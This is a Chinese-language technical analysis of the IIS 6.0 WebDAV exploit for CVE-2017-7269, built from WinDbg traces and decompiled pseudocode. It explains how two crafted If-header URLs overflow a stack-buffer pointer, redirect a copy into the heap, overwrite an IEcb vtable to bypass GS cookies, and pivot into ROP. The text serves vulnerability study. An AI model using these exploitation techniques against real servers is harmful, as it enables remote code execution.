在ScStorageFromUrl函数中，首先会调用ScStripAndCheckHttpPrefix函数，这个函数主要是获取头部信息进行检查以及对host
name进行检查。
0:009> p//调用CchUrlPrefixW获取url头部信息
eax=67113bc8 ebx=00fffbe8 ecx=00605740 edx=00fff4f8 esi=0060c648 edi=00605740
eip=671335f3 esp=00fff4b4 ebp=00fff4d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
httpext!ScStripAndCheckHttpPrefix+0x1e:
671335f3 ff5024 call dword ptr [eax+24h] ds:0023:67113bec={httpext!CEcbBaseImpl<IEcb>::CchUrlPrefixW (6712c72a)}
0:009> p
eax=00000007 ebx=00fffbe8 ecx=00fff4cc edx=00fff4f8 esi=0060c648 edi=00605740
eip=671335f6 esp=00fff4b8 ebp=00fff4d0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!ScStripAndCheckHttpPrefix+0x21:
671335f6 8bd8 mov ebx,eax
0:009> dc esi l6//esi存放头部信息，以及server name，这个localhost会在后面获取到。
0060c648 00740068 00700074 002f003a 006c002f h.t.t.p.:././.l.
0060c658 0063006f 006c0061 o.c.a.l.
在check完http头部和hostname之后，会调用wlen函数获取当前http url长度。
0:009> p
eax=0060e7d0 ebx=0060b508 ecx=006058a8 edx=0060e7d0 esi=00605740 edi=00000000
eip=67126ce8 esp=00fff330 ebp=00fff798 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
httpext!ScStoragePathFromUrl+0x6d:
67126ce8 50 push eax
0:009> p
eax=0060e7d0 ebx=0060b508 ecx=006058a8 edx=0060e7d0 esi=00605740 edi=00000000
eip=67126ce9 esp=00fff32c ebp=00fff798 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
httpext!ScStoragePathFromUrl+0x6e:
67126ce9 ff1550121167 call dword ptr [httpext!_imp__wcslen (67111250)] ds:0023:67111250={msvcrt!wcslen (77bd8ef2)}
0:009> r eax
eax=0060e7d0
0:009> dc eax
0060e7d0 0062002f 00620062 00620062 00620062 /.b.b.b.b.b.b.b.
0060e7e0 61757948 6f674f43 48456b6f 67753646 HyuaCOgookEHF6ug
0060e7f0 38714433 5a625765 56615435 6a536952 3Dq8eWbZ5TaVRiSj
0060e800 384e5157 63555948 43644971 34686472 WQN8HYUcqIdCrdh4
0060e810 71794758 6b55336b 504f6d48 34717a46 XGyqk3UkHmOPFzq4
0060e820 74436f54 6f6f5956 34577341 7a726168 ToCtVYooAsW4harz
0060e830 4d493745 5448574e 367a4c38 62663572 E7IMNWHT8Lz6r5fb
0060e840 486d6e43 61773548 61744d5a 43654133 CnmHH5waZMta3AeC
0:009> p
eax=000002fd ebx=0060b508 ecx=00600000 edx=0060e7d0 esi=00605740 edi=00000000
eip=67126cef esp=00fff32c ebp=00fff798 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!ScStoragePathFromUrl+0x74:
67126cef 59 pop ecx
0:009> r eax
eax=000002fd
在利用的关键一次，我们获取的是poc中http://localhost/bbbbb的字符串，这个字符串长度很长，可以看到eax寄存器存放的是url长度，长度是0x2fd，随后会进入一系列的判断，主要是检查url中一些特殊字符，比如0x2f。
0:009> g//eax存放的是指向url的指针，这里会获取指针的第一个字符，然后和“／”作比较
Breakpoint 1 hit
eax=0060e7d0 ebx=0060b508 ecx=006058a8 edx=0060e7d0 esi=00605740 edi=00000000
eip=67126cd7 esp=00fff334 ebp=00fff798 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
httpext!ScStoragePathFromUrl+0x5c:
67126cd7 6683382f cmp word ptr [eax],2Fh ds:0023:0060e7d0=002f
0:009> dc eax
0060e7d0 0062002f 00620062 00620062 00620062 /.b.b.b.b.b.b.b.
0060e7e0 61757948 6f674f43 48456b6f 67753646 HyuaCOgookEHF6ug
经过一系列的检查之后，会进入一系列的memcpy函数，主要就是用来构造虚拟文件路径，这个地方拷贝的长度没有进行控制，而拷贝的目标地址，是在外层函数调用stackbuff申请的地址，这个地址会保存在栈里。在ScStorageFromUrl函数中用到，也就是在memcpy函数中用到，作为目的拷贝的地址。
ScStorageFromUrl函数中实际上在整个漏洞触发过程中会调用很多次，我们跟踪的这一次，是在漏洞利用中的一个关键环节之一。首先我们来看一下第一次有效的memcpy
0:009> p
eax=00000024 ebx=000002fd ecx=00000009 edx=00000024 esi=00000012 edi=680312c0
eip=67126fa9 esp=00fff330 ebp=00fff798 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
httpext!ScStoragePathFromUrl+0x32e:
67126fa9 8db5c4fbffff lea esi,[ebp-43Ch]
0:009> p
eax=00000024 ebx=000002fd ecx=00000009 edx=00000024 esi=00fff35c edi=680312c0
eip=67126faf esp=00fff330 ebp=00fff798 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
httpext!ScStoragePathFromUrl+0x334:
67126faf f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0:009> r esi
esi=00fff35c
0:009> dc esi
00fff35c 003a0063 0069005c 0065006e 00700074 c.:..i.n.e.t.p.
00fff36c 00620075 0077005c 00770077 006f0072 u.b..w.w.w.r.o.
00fff37c 0074006f 0062005c 00620062 00620062 o.t..b.b.b.b.b.
00fff38c 00620062 61757948 6f674f43 48456b6f b.b.HyuaCOgookEH
这次memcpy拷贝过程中，会将esi寄存器中的值拷贝到edi寄存器中，可以看到edi寄存器的值是0x680312c0，这个值很有意思，在之前我提到过，这个buffer的值会在外层函数中申请，并存放在栈中，因此正常情况应该是向一个栈地址拷贝，而这次为什么会向一个堆地址拷贝呢？
这是个悬念，也是我觉得这个利用巧妙的地方，下面我们先进入后面的分析，在memcpy中，也就是rep
movs中ecx的值决定了memcpy的长度，第一次拷贝的长度是0x9。
接下来，回进入第二次拷贝，这次拷贝的长度就比较长了。
0:009> p//长度相减，0x2fd－0x0
eax=00000024 ebx=000002fd ecx=00000000 edx=00000000 esi=0060e7d0 edi=680312e4
eip=67126fc4 esp=00fff330 ebp=00fff798 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
httpext!ScStoragePathFromUrl+0x349:
67126fc4 2bda sub ebx,edx
0:009> r ebx
ebx=000002fd
0:009> r edx
edx=00000000
0:009> p
eax=00000024 ebx=000002fd ecx=00000000 edx=00000000 esi=0060e7d0 edi=680312e4
eip=67126fc6 esp=00fff330 ebp=00fff798 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!ScStoragePathFromUrl+0x34b:
67126fc6 8d3456 lea esi,[esi+edx*2]
0:009> p
eax=00000024 ebx=000002fd ecx=00000000 edx=00000000 esi=0060e7d0 edi=680312e4
eip=67126fc9 esp=00fff330 ebp=00fff798 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!ScStoragePathFromUrl+0x34e:
67126fc9 8b95b0fbffff mov edx,dword ptr [ebp-450h] ss:0023:00fff348=680312c0
0:009> p
eax=00000024 ebx=000002fd ecx=00000000 edx=680312c0 esi=0060e7d0 edi=680312e4
eip=67126fcf esp=00fff330 ebp=00fff798 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!ScStoragePathFromUrl+0x354:
67126fcf 8d3c10 lea edi,[eax+edx]
0:009> p/／ecx的值为dword值
eax=00000024 ebx=000002fd ecx=00000000 edx=680312c0 esi=0060e7d0 edi=680312e4
eip=67126fd2 esp=00fff330 ebp=00fff798 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!ScStoragePathFromUrl+0x357:
67126fd2 8d4c1b02 lea ecx,[ebx+ebx+2]
0:009> p
eax=00000024 ebx=000002fd ecx=000005fc edx=680312c0 esi=0060e7d0 edi=680312e4
eip=67126fd6 esp=00fff330 ebp=00fff798 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!ScStoragePathFromUrl+0x35b:
67126fd6 8bc1 mov eax,ecx
0:009> p／／最后拷贝的长度再除以4
eax=000005fc ebx=000002fd ecx=000005fc edx=680312c0 esi=0060e7d0 edi=680312e4
eip=67126fd8 esp=00fff330 ebp=00fff798 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!ScStoragePathFromUrl+0x35d:
67126fd8 c1e902 shr ecx,2
0:009> p/／这次拷贝17f的值 key！！！看ecx
eax=000005fc ebx=000002fd ecx=0000017f edx=680312c0 esi=0060e7d0 edi=680312e4
eip=67126fdb esp=00fff330 ebp=00fff798 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!ScStoragePathFromUrl+0x360:
67126fdb f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
可以看到，这次拷贝的长度是0x17f，长度非常大，而在整个分析的过程中，并没有对拷贝的长度进行控制，因此，可以拷贝任意超长的字符串，进入这个堆空间。
这个堆空间非常有意思，存放的是一个vftable，这个vftable会在ScStorageFromUrl函数中的某个内层函数调用调用到，还记得之前分析的ScStripAndCheckHttpPrefi函数吗。
0:009> p//正常情况ScStripAndCheckHttpPrefix函数中对vftable的获取
eax=00fff9a4 ebx=00fffbe8 ecx=00605740 edx=00fff4f8 esi=0060c648 edi=00605740
eip=671335e8 esp=00fff4b8 ebp=00fff4d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
httpext!ScStripAndCheckHttpPrefix+0x13:
671335e8 8b07 mov eax,dword ptr [edi] ds:0023:00605740={httpext!CEcb::`vftable' (67113bc8)}
获取完虚表之后，会获取到对应的虚函数，在ScStripAndCheckHttpPrefix函数中call调用到。但是由于之前的memcpy覆盖，导致这个vftable被覆盖。
0:009> p
eax=680313c0 ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=0060e7b0 edi=680313c0
eip=671335f0 esp=00fff4b4 ebp=00fff4d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
httpext!ScStripAndCheckHttpPrefix+0x1b:
671335f0 8955f4 mov dword ptr [ebp-0Ch],edx ss:0023:00fff4c4=00000000
0:009> p//eax是vftable，而call [eax+24]调用虚函数，这里由于之前的覆盖，导致跳转到可控位置
eax=680313c0 ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=0060e7b0 edi=680313c0
eip=671335f3 esp=00fff4b4 ebp=00fff4d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
httpext!ScStripAndCheckHttpPrefix+0x1e:
671335f3 ff5024 call dword ptr [eax+24h] ds:0023:680313e4=68016082
0:009> dc eax
680313c0 680313c0 68006e4f 68006e4f 766a4247 ...hOn.hOn.hGBjv
680313d0 680313c0 4f744257 52345947 4b424b66 ...hWBtOGY4RfKBK
这个漏洞的原理非常简单，在PROPFIND中，由于对http的长度没有进行检查，导致在memcpy中，可以拷贝超长的字符串，覆盖到栈中的关键位置，下面来看一下伪代码。
__int32 __fastcall ScStoragePathFromUrl(const struct IEcb *a1, wchar_t *a2, unsigned __int16 *a3, unsigned int *a4, struct CVRoot **a5)
{
v35 = a3;
v5 = a1;
Str = a2;
v37 = (int)a1;
v34 = a4;
v33 = a5;
result = ScStripAndCheckHttpPrefix(a1, (const unsigned __int16 **)&Str);//主要用来检查开头信息，比如http头以及host等等
if ( result < 0 )
return result;
if ( *Str != 47 )//判断第一个值是不是/
return -2146107135;
v7 = _wcslen(Str);//获取str长度，也就是畸形url长度
result = IEcbBase::ScReqMapUrlToPathEx(Str, WideCharStr);
v36 = result;
if ( result < 0 )
return result;
v8 = (*(int (__thiscall **)(const struct IEcb *, wchar_t **))(*(_DWORD *)v5 + 52))(v5, &Str1);//httpext!CEcbBaseImpl<IEcb>::CchGetVirtualRootW (6712d665) 获取虚拟路径
if ( v8 == v42 )
{
if ( !v8 || Str[v8 - 1] && !__wcsnicmp(Str1, Str, v8) )
goto LABEL_14;
}
else if ( v8 + 1 == v42 )
{
v9 = Str[v8];
if ( v9 == 47 || !v9 )
{
--v42;
goto LABEL_14;
}
}
v36 = 1378295;
LABEL_14:
if ( v36 == 1378295 && a5 )
{
……
}
v16 = v41;
if ( v41 )
{
v17 = (const unsigned __int16 *)((char *)&v39 + 2 * v41 + 2);
if ( *v17 == 92 )
{
while ( v16 && *v17 == 92 && !FIsDriveTrailingChar(v17, v16) )
{
v41 = --v16;
--v17;
}
}
else if ( !*v17 )
{
v16 = v41-- - 1;
}
}
v18 = v16 - v42 + v7 + 1;
v19 = *v34 < v18;
v37 = v16 - v42 + v7 + 1;
if ( v19 )
{
……
}
else//进入这一处else处理
{
v21 = v35;
v22 = v16;
v23 = 2 * v16;
v24 = (unsigned int)(2 * v16) >> 2;
qmemcpy(v35, WideCharStr, 4 * v24);//拷贝虚拟路径
v26 = &WideCharStr[2 * v24];
v25 = &v21[2 * v24];
LOBYTE(v24) = v23;
v27 = v42;
qmemcpy(v25, v26, v24 & 3);
v28 = v7 - v27;//这里v7是0x2fd，相减赋值给v28，这个值很大，v27为0
v29 = &Str[v27];
v30 = v35;
qmemcpy(&v35[v22], v29, 2 * v28 + 2);//直接拷贝到栈中，没有对长度进行检查，导致溢出
for ( i = &v30[v41]; *i; ++i )
{
if ( *i == 47 )
*i = 92;
}
*v34 = v37;
result = v36;
}
return result;
}
**CVE-2017-7269 Exploit!精妙的漏洞利用**
其实通过上面的分析，我们发现这个漏洞的 原理非常简单，但是究竟如何利用呢，我们来看一下关于ScStorageFromUrl函数中，包含了GS
check，也就是说，我们在进行常规的覆盖ret方式利用的情况下，将会把cookie也会覆盖，导致利用失败。
.text:67127017 loc_67127017: ; CODE XREF: ScStoragePathFromUrl(IEcb const &,ushort const *,ushort *,uint *,CVRoot * *)+50j
.text:67127017 ; ScStoragePathFromUrl(IEcb const &,ushort const *,ushort *,uint *,CVRoot * *)+67j
.text:67127017 mov ecx, [ebp+var_C]
.text:6712701A pop edi
.text:6712701B mov large fs:0, ecx
.text:67127022 mov ecx, [ebp+var_10]
.text:67127025 pop esi
.text:67127026 call @__security_check_cookie@4 ; __security_check_cookie(x)
.text:6712702B leave
.text:6712702C retn 0Ch
漏洞利用非常精妙，也就是用这种方法，巧妙的绕过了gs的检查，最后达到漏洞利用，稳定的代码执行，首先，WebDav对数据包的处理逻辑是在DAVxxx函数中完成的。比如当前数据包是PROPFIND，那么当前的函数处理逻辑就是DAVpropfind函数。
0:009> kb
ChildEBP RetAddr Args to Child
00fff798 67119469 680312c0 00fff800 00000000 httpext!ScStoragePathFromUrl
00fff7ac 6712544a 0060e7b0 680312c0 00fff800 httpext!CMethUtil::ScStoragePathFromUrl+0x18
00fffc34 6712561e 0060b508 0060584e 00fffc78 httpext!HrCheckIfHeader+0x124
00fffc44 6711f659 0060b508 0060584e 00000001 httpext!HrCheckStateHeaders+0x10
00fffc78 6711f7c5 0060c010 00fffcd4 671404e2 httpext!CPropFindRequest::Execute+0xf0
00fffc90 671296f2 0060c010 00000004 01017af8 httpext!DAVPropFind+0x47
在内层的函数处理逻辑中，有一处关键的函数处理逻辑HrCheckIfHeader，主要负责DAVPropFind函数对头部的check，这个函数处理逻辑中有一处while循环，我已经把这个循环的关键位置的注释写在伪代码中。
__int32 __stdcall HrCheckIfHeader(struct CMethUtil *a1, const unsigned __int16 *a2)
while ( 2 )
{
v6 = IFITER::PszNextToken(&v20, 0);
v7 = v6;
if ( v6 )／／这里获取下一个url值，第一轮会进入这里，第二轮也会，第三轮就进不去了
{
CStackBuffer<unsigned short,260>::CStackBuffer<unsigned short,260>(260);
v9 = (const wchar_t *)(v7 + 2);
LOBYTE(v34) = 2;
v27 = _wcslen(v9);
if ( !CStackBuffer<unsigned short,260>::resize(2 * v27 + 2) )
goto LABEL_35;
v5 = ScCanonicalizePrefixedURL(v9, v32, &v27);
if ( v5 )
goto LABEL_43;
v27 = v29 >> 3;
v5 = CMethUtil::ScStoragePathFromUrl(a1, v32, Str, &v27);
if ( v5 == 1 )
{
if ( !CStackBuffer<unsigned short,260>::resize(v27) )
{
LABEL_35:
LOBYTE(v34) = 1;
CStackBuffer<char,260>::release(&v31);
v5 = -2147024882;
goto LABEL_39;
}
v5 = CMethUtil::ScStoragePathFromUrl(a1, v32, Str, &v27);
}
if ( v5 < 0 )
{
LABEL_43:
LOBYTE(v34) = 1;
CStackBuffer<char,260>::release(&v31);
goto LABEL_39;
}
v10 = _wcslen(Str);
v27 = v10;
v11 = &Str[v10 - 1];
if ( *v11 == 62 )
*v11 = 0;
v8 = Str;
LOBYTE(v34) = 1;
CStackBuffer<char,260>::release(&v31);
}
else
{
if ( !v25 )／／进不去就跳入这里，直接break掉，随后进入locktoken，会调用sc函数
goto LABEL_38;
v8 = (const unsigned __int16 *)v24;
}
v25 = 0;
for ( i = (wchar_t *)IFITER::PszNextToken(&v20, 2); ; i = (wchar_t *)IFITER::PszNextToken(&v20, v19) )
{
v17 = i;
if ( !i )
break;
v12 = *i;
if ( *v17 == 60 )
{
v13 = HrValidTokenExpression((int)a1, v17, (int)v8, 0);
}
else if ( v12 == 91 )
{
if ( !FGetLastModTime(0, v8, (struct _FILETIME *)&v23)
|| !FETagFromFiletime((int)&v23, &String, *((_DWORD *)a1 + 4)) )
{
LABEL_26:
if ( v22 )
goto LABEL_27;
goto LABEL_30;
}
v14 = v17 + 1;
if ( *v14 == 87 )
v14 += 2;
v15 = _wcslen(&String);
v13 = _wcsncmp(&String, v14, v15);
}
else
{
v13 = -2147467259;
}
if ( v13 )
goto LABEL_26;
if ( !v22 )／／如果不等于22，则v26为1 continue，这里v22为0
{
LABEL_27:
v26 = 1;
v19 = 3;
continue;
}
LABEL_30:
v26 = 0;
v19 = 4;
}
v2 = 0;
if ( v26 )／／这里进这里
{
v6 = IFITER::PszNextToken(&v20, 1);／／获得下一个url部分，第一次处理完，由于后面还有url，所以这里v6会有值，而第二次，这里后面没有值了
continue;
}
break;
}
如果看的比较迷糊，可以看我下面的描述，首先这个while函数中，有一个非常有意思的函数PszNextToken，这个函数会连续获取<>中的http
url，直到后面没有http url，则跳出循环，这也是这个漏洞利用的关键条件。
首先，第一次会处理IF后面的第一个http
url，这个url就是http://localhost/aaaa..，这个处理过程，实际上就完成了第一次溢出，首先stackbuffer会通过CStackBuffer函数获取，获取到之后，这个值会存放在stack中的一个位置。接下来会进行第一次ScStorageFromUrl，这个地方会对第一个<>中的http
url处理。长度是0xa7。
0:009> p
eax=00fff910 ebx=0060b508 ecx=00000410 edx=00000000 esi=0060c64a edi=77bd8ef2
eip=671253e2 esp=00fff7bc ebp=00fffc34 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!HrCheckIfHeader+0xbc:
671253e2 ffd7 call edi {msvcrt!wcslen (77bd8ef2)}／／第一次处理aaaa部分，长度只有a7
0:009> dc 60c64a
0060c64a 00740068 00700074 002f003a 006c002f h.t.t.p.:././.l.
0060c65a 0063006f 006c0061 006f0068 00740073 o.c.a.l.h.o.s.t.
0060c66a 0061002f 00610061 00610061 00610061 /.a.a.a.a.a.a.a.
0060c67a 78636f68 71337761 47726936 4b777a39 hocxaw3q6irG9zwK
0:009> p
eax=000000a7
这个a7长度很小，不会覆盖到gs，因此可以通过security check，但是这个a7却是一个溢出，它超过了stack
buffer的长度，会覆盖到stack中关于stack buffer指针的存放位置。这个位置保存在ebp-328的位置。
0:009> p
eax=00fff800 ebx=0060b508 ecx=0060b508 edx=00000104 esi=00000001 edi=77bd8ef2
eip=67125479 esp=00fff7b8 ebp=00fffc34 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!HrCheckIfHeader+0x153:
67125479 ffb5e4fdffff push dword ptr [ebp-21Ch] ss:0023:00fffa18=0060c828
0:009> p
eax=00fff800 ebx=0060b508 ecx=0060b508 edx=00000104 esi=00000001 edi=77bd8ef2
eip=6712547f esp=00fff7b4 ebp=00fffc34 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!HrCheckIfHeader+0x159:
6712547f e8cd3fffff call httpext!CMethUtil::ScStoragePathFromUrl (67119451)
0:009> dd ebp-328／／注意拷贝的地址，这个90c是scstoragepathfromurl要拷贝的栈地址
00fff90c 00fff804 6711205b 00000013 00fff9c0
00fff91c 671287e7 00000000 000000f0 00000013
可以看到，第一次ScStoragePathFromUrl的时候，拷贝的地址是一个栈地址，通过stackbuffer申请到的，但是由于memcpy引发的栈溢出，导致这个地方值会被覆盖。
0:009> g//执行结束ScStoragePathFromUrl函数执行返回后
Breakpoint 0 hit
eax=00fff800 ebx=0060b508 ecx=00605740 edx=0060c828 esi=00000001 edi=77bd8ef2
eip=67126c7b esp=00fff79c ebp=00fff7ac iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!ScStoragePathFromUrl:
67126c7b b8150d1467 mov eax,offset httpext!swscanf+0x14b5 (67140d15)
0:009> g
Breakpoint 3 hit
eax=00000000 ebx=0060b508 ecx=00002f06 edx=00fff804 esi=00000001 edi=77bd8ef2
eip=67125484 esp=00fff7c0 ebp=00fffc34 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
httpext!HrCheckIfHeader+0x15e:
67125484 8bf0 mov esi,eax
0:009> dc fff804／／第一次memcpy之后，覆盖到了90c的位置
00fff804 003a0063 0069005c 0065006e 00700074 c.:..i.n.e.t.p.
00fff814 00620075 0077005c 00770077 006f0072 u.b..w.w.w.r.o.
00fff824 0074006f 0061005c 00610061 00610061 o.t..a.a.a.a.a.
00fff834 00610061 78636f68 71337761 47726936 a.a.hocxaw3q6irG
00fff844 4b777a39 75534f70 48687a4f 6d545663 9zwKpOSuOzhHcVTm
00fff854 39536845 5567506c 33646763 78454630 EhS9lPgUcgd30FEx
00fff864 54316952 6a514c58 42317241 58507035 Ri1TXLQjAr1B5pPX
00fff874 6c473664 546a3539 54435034 50617752 d6Gl95jT4PCTRwaP
0:009> dd fff900
00fff900 5a306272 54485938 02020202 680312c0
经过这次stack buffer overflow，这个值已经被覆盖，覆盖成了一个堆地址0x680312c0。接下来进入第二次调用。
0:009> p
eax=00fff910 ebx=0060b508 ecx=00000410 edx=00000000 esi=0060d32a edi=77bd8ef2
eip=671253e2 esp=00fff7bc ebp=00fffc34 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!HrCheckIfHeader+0xbc:
671253e2 ffd7 call edi {msvcrt!wcslen (77bd8ef2)}
0:009> dc 60d32a
0060d32a 00740068 00700074 002f003a 006c002f h.t.t.p.:././.l.
0060d33a 0063006f 006c0061 006f0068 00740073 o.c.a.l.h.o.s.t.
0060d34a 0062002f 00620062 00620062 00620062 /.b.b.b.b.b.b.b.
0:009> p
eax=0000030d
第二次获得http://localhost/bbbbb…的长度，这个长度有0x30d，非常长，但是对应保存的位置变了。
0:009> p
eax=00fff800 ebx=0060b508 ecx=00fff800 edx=000002fe esi=00000000 edi=77bd8ef2
eip=67125436 esp=00fff7c0 ebp=00fffc34 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!HrCheckIfHeader+0x110:
67125436 50 push eax
0:009> p
eax=00fff800 ebx=0060b508 ecx=00fff800 edx=000002fe esi=00000000 edi=77bd8ef2
eip=67125437 esp=00fff7bc ebp=00fffc34 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!HrCheckIfHeader+0x111:
67125437 ffb5d8fcffff push dword ptr [ebp-328h] ss:0023:00fff90c=680312c0
0:009> dc ebp-328
00fff90c 680312c0 52566c44 6c6d4b37 585a4f58 ...hDlVR7KmlXOZX
00fff91c 496a7950 4a52584f 664d4150 680313c0 PyjIOXRJPAMf...h
00fff92c 65314834 6e666f43 436c7441 680313c0 4H1eCofnAtlC...h
00fff93c 6a415343 33307052 424c5866 6346704b CSAjRp03fXLBKpFc
0:009> dd 680312c0／／要用到的堆地址，这个地址会在最后用到
680312c0 00000000 00000000 00000000 00000000
680312d0 00000000 00000000 00000000 00000000
680312e0 00000000 00000000 00000000 00000000
可以看到，第二次利用的时候，会把ebp-328这个地方的值推入栈中，这个地方应该是stack
buffer的地址，应该是个栈地址，但是现在变成了堆地址，就是由于第一次栈溢出，覆盖了这个变量。
而这个值，会作为参数传入ScStorageFromUrl函数，作为memcpy拷贝的值。
这也就解释了为什么我们在上面分析漏洞的时候，会是向堆地址拷贝，而这一次拷贝，就不需要控制长度了，因为这个地方的值已经是堆地址，再怎么覆盖，也不会覆盖到cookie。这里未来要覆盖IEcb虚表结构。从而达到漏洞利用。这样，第二次向堆地址拷贝之后，这个堆地址会覆盖到IEcb的虚表，这个虚表结构会在最后利用时引用到。
在PoC中，有一处，这个会触发漏洞利用，是在CheckIfHeader之后到达位置，在CheckIfHeader的PszToken函数判断没有<>的http
url之后，break掉，之后进入lock token处理。
0:009> p
eax=67140d15 ebx=00fffbe8 ecx=680313c0 edx=0060e7b0 esi=00fffc28 edi=00000104
eip=67126c80 esp=00fff940 ebp=00fff950 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
httpext!ScStoragePathFromUrl+0x5:
67126c80 e803100000 call httpext!_EH_prolog (67127c88)
0:009> kb
ChildEBP RetAddr Args to Child
00fff93c 67119469 00fffab4 00fff9a4 00000000 httpext!ScStoragePathFromUrl+0x5
00fff950 67125740 0060e7b0 00fffab4 00fff9a4 httpext!CMethUtil::ScStoragePathFromUrl+0x18
00fffbd0 664d4150 680313c0 65314834 6e666f43 httpext!CParseLockTokenHeader::HrGetLockIdForPath
+0x119
WARNING: Frame IP not in any known module. Following frames may be wrong.
00fffc3c 6711f68e 0060b508 0060584e 80000000 0x664d4150
00fffc78 6711f7c5 0060c010 00fffcd4 671404e2 httpext!CPropFindRequest::Execute+0x125
这时候对应的IEcb已经被覆盖，这样，在进入ScStoragePathFromUrl函数之后，会进入我们在漏洞分析部分提到的CheckPrefixUrl函数，这个函数中有大量的IEcb虚表虚函数引用。
0:009> p
eax=680313c0 ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=0060e7b0 edi=680313c0
eip=671335f3 esp=00fff4b4 ebp=00fff4d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
httpext!ScStripAndCheckHttpPrefix+0x1e:
671335f3 ff5024 call dword ptr [eax+24h] ds:0023:680313e4=68016082
0:009> dc eax
680313c0 680313c0 68006e4f 68006e4f 766a4247 ...hOn.hOn.hGBjv
680313d0 680313c0 4f744257 52345947 4b424b66 ...hWBtOGY4RfKBK
和大家分享了这个精妙利用，一般可能都会觉得是第二次url bbbbb的这个memcpy覆盖了关键函数导致的溢出、利用，实际上，在第一次url
aaaaaa中，就已经引发了栈溢出，覆盖到了stackbuffer申请的指向栈buffer的指针，这个指针存放在栈里，用于后续调用存放虚拟路径，由于第一次栈溢出，覆盖到了这个变量导致第二次url
bbbbb拷贝的时候，是向一个堆地址拷贝，这个堆地址后面的偏移中，存放着IEcb的vftable，通过覆盖虚表虚函数，在最后locktoken触发的ScStoragePathFromUrl中利用虚函数达到代码执行。
而这个过程，也是巧妙的绕过了GS的检查。
**简析ROP及shellcode**
这个漏洞使用了一些非常有意思的手法，一个是TK教主在13年安全会议上提到的shareduserdata，在ROP中，另一个是alpha shellcode。
首先，在前面虚函数执行之后，会先进行stack pivot，随后进入rop。
0:009> t//stack pivot!!!
eax=680313c0 ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=0060e7b0 edi=680313c0
eip=68016082 esp=00fff4b0 ebp=00fff4d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
rsaenh!_alloca_probe+0x42:
68016082 8be1 mov esp,ecx
0:009> p
eax=680313c0 ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=0060e7b0 edi=680313c0
eip=68016084 esp=680313c0 ebp=00fff4d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
rsaenh!_alloca_probe+0x44:
68016084 8b08 mov ecx,dword ptr [eax] ds:0023:680313c0=680313c0
0:009> p
eax=680313c0 ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=0060e7b0 edi=680313c0
eip=68016086 esp=680313c0 ebp=00fff4d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
rsaenh!_alloca_probe+0x46:
